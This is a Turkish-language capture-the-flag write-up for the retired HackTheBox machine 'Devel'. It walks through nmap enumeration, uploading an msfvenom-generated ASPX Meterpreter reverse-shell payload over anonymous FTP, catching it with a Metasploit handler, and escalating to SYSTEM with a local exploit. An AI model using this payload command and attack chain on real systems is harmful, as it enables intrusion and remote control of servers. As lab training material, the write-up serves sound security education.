HackTheBox : Devel Çözümü (Türkçe Detaylı Anlatım) - Sparta Bilişim
15 Nisan 2020 Sinem Hacking 0
Devel, emekli olmuş bir HackTheBox makinası ve 10.10.10.5 IP adresinde yer alıyor. Kolay kategorisinde işaretlenmiş bir makina.
Başlangıç seviyesine göre hazırlanmış bir makina olan Devel özellikle yeni başlayanlar için uygun denilebilir.
Basit seviye bir Linux bilgisi gerektiren Devel üzerinde çalışırken ihtiyaç duyacağımız araçlar nmap, searchsploit, metasploit ve msfvenom olacak.
Devel – Network Scan
nmap -A -T4 -p- 10.10.10.5
Port 21: open FTP (File Transfer Protocol) Microsoft ftpd
Port 80: Hypertext Transfer Protocol (HTTP). Burada bir IIS Sunucu olduğu bilgisini de görebiliyoruz.
Bunların dışında yukarıdaki nmap taramasından okuyabildiğim bilgiler arasında FTP yani dosya transfer sisteminin anonim olarak bağlantıya izin verdiği ve IIS sunucu versiyonun 7.5 olduğu.
“Aggressive OS guesses” her zaman kesin ve doğru bir bilgi vermemekle birlikte muhtemel işletim sistemi tahminlerini sıralıyor ki bu bilgi istismar kullanımı esnasında benim için önem taşıyor.
Bir diğer bilgi ise “http title” kısmında ve IIS7 olarak belirtilmiş, bu da tarayıcı üzerinden IP adresine bağlantı sağlamaya çalıştığımda karşıma muhtemelen varsayılan ayarlarda bırakılmış bir sayfa ile karşılaşacağım anlamına geliyor.
Bu şartlarda saldırı vektörüm FTP olacak gibi görünüyor.
80 portunu açık gördüğüm için ilk olarak tarayıcıda IP adresini ziyaret ediyorum ve nmap taramasında http-title’ı gördüğümde tahmin ettiğim gibi varsayılan ayarlarda bırakılmış IIS7 ekranı karşıma geliyor:
Bir etik hacker ya da sızma testi uzmanı gözüyle baktığımızda, sızma testlerinde sıkça karşımıza çıkabilen “varsayılan ayarlarda bırakılmış web sayfaları” önemli bir bulgu ve raporumuzda yer alması gerekiyor. Elde ettiğimiz ekran görüntüsü iki önemli bulguya işaret ediyor:
Muhtemelen bu IP adresinde farklı bir dizinde açık/çalışan bir web sayfaları var ve bir dizin araştırması yaparsam ulaşabilirim.
Zayıf bir siber güvenlik hijyeni söz konusu. Bu sayfanın internete açık ve ulaşılabilir durumda olması için bir neden yok, muhtemelen unutulmuş ve “başka neleri açık unutmuş olabilirsiniz?” sorusunu da beraberinde getiriyor.
Geldiğim noktada emin olduğum iki bilgiye sahibim:
FTP, web sunucusu için bir dosya dizini olarak kullanılıyor.
Nmap sonucuna bakarak FTP’ye anonim olarak bağlanabileceğimi biliyorum ve bu durumda dosya yükleyebileceğimi düşünüyorum.
Tarayıcıda 10.10.10.5 adresine gittiğimde açılan sayfada sağ tıklayıp “kaynak kodu görüntüle” (view page source) dediğimde daha önce nmap taramasında FTP dosyaları arasında görmüş olduğum “welcome.png“‘nin orada olduğunu görebiliyorum:
Nmap taramasında çıkan FTP sonuçları
10.10.10.5 IP adresine tarayıcıdan ulaşıp kaynak kodu görüntülediğimde çıkan sayfa
FTP Zafiyeti Deneme
FTP üzerinden bağlantı kurup istediğim bir görseli eklemeyi ve tarayıcıda bu görseli görmeyi deneyeceğim. Bunu FTP istismarının başarılı olup olmayacağını anlamak amacıyla yapacağım bir işlem. Ben deneme için bir .jpg dosyasını kullanacağım ama farklı bir dosya oluşturup onu da kullanabilirdim.
Bu deneme için Google’dan indirdiğim “cat.png”yi kullanacağım 🙂
Devel ile FTP bağlantısı kurabilmek için kullandığım komut:
Ardından kullanıcı adı anonymous ve parola anonymous yazarak “230 User logged in” yazısını görüyor ve bağlantıyı tamamlıyorum:
Ek bilgi: FTP bağlantısı kurduğumuzda standart Linux komutları ile hareket edebiliyoruz. “pwd” komutu ile bulunduğumuz dizini öğrenebiliyor, “ls” komutuyla mevcut dosyaları görüntüleyebiliyor ve “help” komutu ile verebileceğimiz diğer komutlar hakkında bilgi edinebiliyoruz.
cat.png’yi FTP bağlantısı ile yüklemek için kullanacağım komut:
Ek bilgi: Ben cat.png’yi Home klasörü altına kaydettiğim için dosya yolu belirtmek zorunda kalmadım ancak eğer siz farklı bir klasör altına kaydettiyseniz dosya adınızın başında /root/Desktop/.. gibi dosya yolu belirtmeniz gerekebilir.
ls komutu ile kontrol ettiğimde yüklemenin başarılı olduğunu görebiliyorum:
Şimdi çalışıp çalışmadığını görmek için tarayıcıda deneyeceğim:
Biraz bozuk olmakla birlikte FTP’den yaptığım yüklemenin çalıştığını doğrulayabildim. Bu deneme neden önemliydi? Çünkü bir dosya yükleyebilsem bile eğer yüklediğim dosyayı çalıştıramasaydım bu durumda FTP gerçekte istismar edilebilir durumda olmayacaktı.
Alternatif olarak örneğin .html uzantılı bir dosya yerleştirmek ve çalıştırmak isteseydim aşağıdaki komutları da kullanabilirdim:
echo HackTheBox > devel.html
Ek bilgi: Yukarıdaki komut “bulunduğum dizin içerisine bir devel.html dosyası oluştur ve içerisinde HackTheBox” yazsın olarak okunabilir. Bu komutun ardından “cat devel.html” komutunu kullanarak doğrulama yapabiliriz.
cat.jpg ile yapmış olduğum gibi tarayıcıya “10.10.10.5/devel.html” yazdığımda açılan sayfada “HackTheBox” yazısını görebiliyorsam her şey yolunda demektir.
Artık bir istismar kodu yükleyip onu çalıştırmayı deneyebilirim.
Ek bilgi: Msfvenom isimli araç Msfpayload ve Msfencode isimli iki farklı aracın 2015 yılında tek bir araç haline getirilmesi sonucu ortaya çıkmış bir çatı (framework).
Böylece payload (saldırı kodu) üretmek ve bunu encode etmek için iki ayrı işlem yapılmasına gerek kalmıyor. Komut satırına “msfvenom -h” komutu girilerek bu araç kullanılırken hangi komutları kullanabileceğimiz hakkında bilgi alınabilir. Kullanım hakkında daha detaylı bilgi isteyenler https://www.offensive-security.com/metasploit-unleashed/msfvenom/ linkine başvurabilir.
Karıştırılmaması gereken iki kavram:
Payload istismar kodunun hedef sistem üzerinde çalıştırmasını istediğimiz kod,
Exploit ise istismar kodu (saldırı/açıktan faydalanan kod parçası)
Amacım FTP üzerinde tespit etmiş olduğum açıktan yararlanarak bir saldırı kodu yüklemek ve çalıştırmak, bunun için de msfvenom kullanacağım ancak önce istismar için ihtiyacım olan saldırı kodunu tespit etmek üzere metasploit kullanmaya ihtiyacım var.
Hedef makinanın (Devel) saldırganla (ben) iletişim kurmasını sağlamak istediğim için reverse shell yaratmam gerekiyor. Bu durumda benim tarafta bir dinleyici portu (listener) açık olacak ve Devel’den gelen bağlantıyı kabul edecek. Reverse shell’in Windows’a uygun olması gerektiğini de en başta yaptığım bilgi toplama aşamasından biliyorum.
Ek bilgi: Reverse shell hakkında bilgi alınabilecek çok çeşitli kaynak mevcut. https://resources.infosecinstitute.com/icmp-reverse-shell/ linkini oldukça detaylı bir anlatım bulunduğu için önerebilirim.
Yine en sevdiğimiz sızma testi aracımız olan Google’a başvuruyor ve işimi kolaylaştıracak bir msfvenom cheat sheet arıyorum.
Sunucunun IIS olduğu bilgisini de en başta bilgi toplama aşamasında öğrendiğim için .asp çalıştırdığını biliyorum. Bu nedenle aramayı “msfvenom cheatsheat asp” olarak yapıyorum.
Görebileceğiniz gibi 10.400 sonuç çıktı, benim tercihim ise NetSec tarafından hazırlanmış olan doküman.
Açılan sayfada karşıma Linux, Mac, Windows, PHP, JSP, WAR gibi birçok seçenek çıkıyor. Devel’da ISS sunucu olduğunu bildiğim için direkt olarak “ASP” başlığına yönlenip aşağıda görebileceğiniz komutu NetSec sayfasından kopyalayarak kullanabileceğim:
Ek bilgi: NetSec sayfasında karşıma çıkan PHP, JSP, WAR gibi seçeneklerin her birinin hangi durumda kullanılabileceğini öğrenmek ileriki zamanlar için faydalı olacaktır. Örneğin eğer bir Apache sunucusu ile karşı karşıya olsaydım işime yarayacak olan PHP başlığı altında verilen komut olacaktı, eğer bir TomCat olsaydı ise WAR başlığı altında yazılı komuta yönelecektim.
Ayrıca bilgi toplama aşamasının sistem ele geçirme gayretlerinde en önemli aşama olabileceğini de hatırlamış oluyoruz.
Yukarıdaki komutu kullanabilmek için bizden istenen bazı bilgiler var:
LHOST (Local Host) yanına kendi IP adresimi (ifconfig ile kontrol edebiliriz), LPORT (Local Port) yanına ise dinleyici olarak kalmak istediğim port bilgisini girmem bekleniyor.
Hazır komutun kullanılabilir hali benim için şu oluyor:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 -f aspx > snm.aspx
-p: Kullanılacak olan payload
-f: File (çıktı formatı)
> snm.aspx Shell kodunun çıktı olarak ekrana yansımasını değil bir dosya içerisine yazılmasını istediğim için bu komutu kullanıyorum. Dosyamın adı snm.aspx (.asp de kullanılabilirdi) olacak.
İsterseniz “ls” komutu ile dosyanızın oluşup oluşmadığını kontrol edebilirsiniz.
Sırada hazırlamış olduğum saldırı kodunu (payload) FTP’ye yüklemek var. Yukarıda kedi fotoğrafını yüklemek için kullandığım komutların aynılarını kullanacak ve yine anonymous kullanıcı adı ve parolası ile FTP’ye bağlanıp ardından put komutunu kullanarak payloadu yükleyeceğim.
“ls” komutu ile kontrol ettiğimde snm.aspx’in başarılı şekilde yüklendiğini görebiliyorum.
Metasploit ile Listener Port Ayarlamak
Ayrı bir sekmede ilk olarak msfconsole komutu ile Metasploit açıyorum, ardından bir payload handler (saldırı kodu işleyici) ihtiyacım olduğu için aşağıdaki komutu kullanacağım:
Dilerseniz “show options” komutu ile seçeneklerinizi (ya da yapılması gereken bir işlem olup olmadığını) görebilirsiniz, şu anda yapmamız gereken hiçbir şey görünmüyor bu nedenle aşağıda yer alan komut ile payloadu ayarlayacağım:
Bu komut sonrasında options komutu ile seçenekleri görüntülediğimde ise LHOST ve LPORT bilgilerinin girilmesi gerektiğini görüyorum. Kullanacağım komutlar aşağıdaki gibi:
set LHOST 10.10.14.16
LPORT’a girmiş olduğum port bilgilerinin payload hazırlarken girmiş olduğum ile aynı olması gerekiyor.
options komutu ile tekrar kontrol ettiğimde her şeyin hazır olduğunu görüyorum:
Exploit komutunu girdikten sonra aşağıdaki yanıtı alıyorum:
Started reverse TCP handler on 10.10.14.16:5555
Şimdi tarayıcıya gidip 10.10.14.16/snm.aspx yazdığımda payload çalışacak ve bana meterpreter ile bağlantı açacak:
Payload çalışıyor ve meterpretter session açılıyor.
Yukarıda gördüğünüz gibi tarayıcıya 10.10.14.16/snm.aspx yazıp enter’a bastığımda meterpreter session açıldı.
İsteyen meterpreter ile devam edebilir ancak benim ilk yaptığım shell komutu ile Windows komut satırına geçmek oluyor. Ardından “cd ..” komutunu kullanarak içerisinde bulunduğum dizinden c:\ dizinine doğru ilerliyorum.
Sistem ya da root yetkilerine sahip olup olmadığımı anlamak için whoami komutunu kullanıyorum ancak aşağıda görülebileceği gibi değilim.
dir komutu ile bulunduğum dizin altında yer alan dosyaları görüntülüyorum, ve Users klasörünü görüyorum, muhtemelen aradığım kullanıcılar bu klasör altında.
cd Users ve dir komutlarını kullanarak Users klasörü altındaki dosyaları görüntülüyorum.
Administrator ve babis klasörleri aradığım root.txt ve user.txt dosyalarına beni götürebilir. Bu nedenle cd komutu ile geçiş yapmayı deniyorum ama her ikisi de “Access Denied” yanıtı veriyor ve giremiyorum çünkü yetkim yok!
Yetki yükseltme (Privilege Escalation)
Yetki yükseltme için metasploit’e ihtiyacım var ancak meterpreter session kapanmasın istediğim için onu arka plana atıyorum bunun için ise aşağıdaki komutu kullanıyorum:
Bunun için kullandığım komut ise aşağıdaki gibi:
Bu komut ile metasploit modülünde “local exploit suggester” (yerel istismar önerici) çalıştırıp bana yerel sisteme giriş yapmışken kullanabileceğim istismar kodlarını sıralamasını isteyeceğim.
Seçeneklerimi/girmem gereken bilgileri bana göstermesi için “show options” komutunu kullanıyorum ve benden session bilgisi girmemi istediğini görüyorum.
Bahsi geçen session bilgisi meterpreter session. “Background” komutu ile meterpreter’i arka planda çalışmaya gönderdiğimde “Backgrounding session 1…” yazdığı için biliyorum ki buraya girmem gereken session 1 olacak.
run komutu sonrası karşımıza çok sayıda istismar kodu seçeneği geliyor:
İlk sırada gördüğümüz aşağıdaki istismar ISS kullanıcı yönetici grubunda yer almadığı için çalışmadı.
Bir sonraki istismar kodunu aşağıdaki gibi use komutu ile deneyeceğim:
Ve tekrar show options komutunu girdiğimde benden session bilgisi istendiğini görüp yukarıda yaptığım gibi aşağıdaki komut ile session belirteceğim:
Giriş yapmam gereken başka bir bilgi kalmadığına göre exploit komutu ile yetki yükseltme talebimin gerçekleşmesini bekleyebilirim:
Her şey tamam gibi görünüyordu ancak “Exploit completed, but no session was created.” yanıtı aldım. Olmadı.
Tekrar show options komutu ile sorunun ne olabileceğine baktığımda Payload options (windows/meterpreter/reverse_tcp): başlığı altında varsayılan olarak gelen bilgilerin hatalı olduğunu gördüm.
set LHOST ve set LPORT komutları ile doğru bilgileri giriyorum ve ardından exploit komutunu tekrar denediğimde meterpreter session açılıyor. Şimdi yetkim yükselmiş olarak yeniden sistemdeyim.
Bir kere daha shell komutunu kullanarak Windows komut satırına geçiyorum.
Yetki durumumu kontrol etmek için whoami komutunu kullandığımda nt authority\system cevabı geliyor ve anlıyorum ki sistem yetkileri ile artık istediğim dosyalara ulaşabileceğim.
Buradan sonra kullanacağım komutlar aşağıdaki gibi:
cd .. : Bir üst dizine çıkmak için
dir : Dizin içeriğini görüntüle
cd : Seçmek istediğim dizin adı
c:\Users\Administrator\Desktop klasörüne ulaşıp yine dir komutunu kullandığımda root.txt.txt‘nin burada olduğunu görebiliyorum ve içerisindeki bayrak parolasını almak için aşağıdaki komutu girmem yeterli:
Aynı komutları kullanarak c:\Users\babis>cd Desktop klasörüne ulaştığımda ise user.txt.txt‘yi bulmuş oluyorum.
İki bayrağımızı da aldık 🙂